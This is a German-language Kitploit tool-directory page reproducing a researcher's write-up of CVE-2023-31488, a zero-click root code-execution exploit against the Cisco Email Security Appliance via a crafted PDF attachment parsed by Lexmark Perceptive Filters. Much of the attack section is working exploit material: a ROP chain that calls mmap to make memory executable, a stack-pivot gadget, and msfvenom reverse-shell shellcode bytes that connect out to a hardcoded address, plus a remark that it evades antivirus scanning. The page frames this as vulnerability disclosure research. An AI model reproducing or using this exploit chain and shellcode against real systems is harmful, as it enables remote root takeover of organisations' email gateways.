Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cisco-CVE-2023-31488 — Cisco Email Security Appliance: E-Mail zu zero-click RCE als Root - Remote Code Execution/Speicherkorruption/ROP-chain | Kitploit
Tools/GitHubGitHub/ly1g3/cisco-cve-2023-31488
Exploit-FrameworksSpeicherforensikSchwachstellenanalyseExploitationReverse EngineeringShellcodeFuzzingPenetrationstestsPayload-EntwicklungE-Mail-SicherheitBinary-Exploitation
118vor 2 MonatenNoch nicht geprüft
GitHub
ly1g3/cisco-cve-2023-31488

cisco-CVE-2023-31488

Cisco Email Security Appliance: E-Mail zu zero-click RCE als Root - Remote Code Execution/Speicherkorruption/ROP-chain

Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Über

Sicherheitsforscher: ly1g3, ly1g3[at]tuta.io

GPG-Fingerabdruck: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

Übersicht: E-Mail zu Zero-Click-RCE als Root – Remote Code Execution/Memory Corruption/ROP-Kette

CVE: CVE-2023-31488

Zeitleiste:

  • Entdeckt – ly1g3
  • Gemeldet – ly1g3
  • Behoben – Cisco und Lexmark

Ausarbeitung

Beim Fuzzing der Cisco Email Security Appliance (ESA) entdeckte ich eine Schwachstelle in Lexmark Perceptive Filters, die von der ESA zur Datenbereinigung von E-Mail-Anhängen verwendet werden, was zu RCE per E-Mail führt. Der Absturz tritt beim Parsen eines modifizierten PDF-Anhangs auf. Durch Ändern einer zweistelligen PDF-Objekt-ID, zum Beispiel:

13 0 obj
<</Subtype/CIDFontType2/FontDescriptor

Das Ändern eines Teils der ID von 13 auf etwas anderes (z. B. ein Leerzeichen) führt zu:

1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
1

Das Senden dieses modifizierten PDFs in einer E-Mail an die Cisco ESA verursacht einen Segmentation-Fault-Absturz in libISYSpdf6.so. Der Absturz wird dadurch verursacht, dass r14 ASCII-Daten enthält.

2 3

Eine genauere Untersuchung zeigt, dass diese Daten aus dem Inhalt des von uns kontrollierten PDF-Anhangs stammen. Der Wert von r14 ist Rect.

4

Testen, wenn Rect in AAAA geändert wird.

5

Da der Wert von r14 aus Daten im PDF geladen wird, können wir ihn so ändern, dass er auf eine gültige Speicheradresse zeigt. Nach dieser Anpassung tritt ein weiterer Absturz aufgrund ungültiger Daten in RAX auf. Auch diese Daten stammen aus dem PDF.

6

Wir modifizieren das PDF so, dass rax ebenfalls auf eine tatsächliche Adresse zeigt, und fahren fort.

7

Ein neuer Absturz tritt auf; jetzt enthält rsi ASCII-Daten aus dem PDF.

8

Wir modifizieren das PDF erneut, um eine echte Speicheradresse zu laden.

9

Schließlich gelangen wir zu einem sehr interessanten Teil des Codes. Hier kontrollieren wir rdi, das zum Laden eines Wertes in rax verwendet wird. Die letzte Anweisung in dieser Sequenz ist call rax. Wir machen nun gute Fortschritte in Richtung Codeausführung.

10

Erneut öffnen wir den Hex-Editor und ändern den in rdi geladenen Wert.

11

Jetzt haben wir eine Möglichkeit zur eingeschränkten Codeausführung und können zu einer einzelnen Adresse springen. Da ASLR nicht vorhanden ist, ist das Auffinden von Speicheradressen einfach. Wir kontrollieren auch rdi und verwenden daher das anfängliche ROP-Gadget libISYSshared.so: push rdi; pop rsp; xor eax, , um rdi nach rsp zu verschieben und den Stack zu kontrollieren. Wir richten den Stack auf einen Bereich, den wir in der PDF-Speicherregion kontrollieren, mit einem benutzerdefinierten Stack, der mit weiteren ROP-Gadgets vorbereitet ist.

12

Ein von msfvenom generierter FreeBSD-Reverse-Shell-Shellcode wird in der PDF-Speicherregion platziert. Da der Speicher jedoch nicht ausführbar ist, müssen wir ihn zuerst ausführbar machen.

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"

Da wir zu diesem Zeitpunkt den Stack kontrollieren, kann dies durch die folgende ROP-Kette erfolgen, die mmap aufruft, um den Shellcode-Speicherbereich als RWX zu setzen.

rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 

Nachdem mmap aufgerufen wurde, führt call rsp; den NOP-Sled unseres Shellcodes aus, da die Adresse des Shellcodes als nächstes auf unserem benutzerdefinierten Stack liegt. Der Shellcode ist eine von msfvenom generierte Reverse Shell.

Interessant ist, dass dieser Code vor allen statischen Antiviren-Scans ausgeführt wird, sodass die Standard-Metasploit-Reverse-Shell problemlos funktioniert.

Wir können den folgenden POC verwenden, um ein funktionierendes PDF zu erstellen. Danach senden wir es einfach in einer E-Mail an die ESA, um RCE zu erlangen. Siehe meine anderen Schwachstellen für Privilegieneskalation.

Und damit erhalten wir eine Remote-Shell auf der ESA:

13

Dies war ein unterhaltsames Projekt, das mir viel über Speicherkorruptions-Schwachstellen beigebracht hat. Es zeigt auch, wie gut ein „moderner“ Speicherschutz wie ASLR ist, aber auch, dass man immer noch nicht-ASLR-Systeme da draußen finden kann.

Cisco AsyncOS 14.2.0

ESA (Cisco Secure Email) Overflow-Angriff. Remote Code Execution als root.

Variablen-/Pufferüberlauf in Lexmark Perceptive Filters

Durch das Senden einer speziell präparierten PDF-Datei führt ein Überlauf dazu, dass ein Angreifer beliebige Remote-Codeausführung auf der ESA und anderen Produkten, die Lexmark Perceptive Filters verwenden, erlangen kann.

Technisches

Tool herunterladen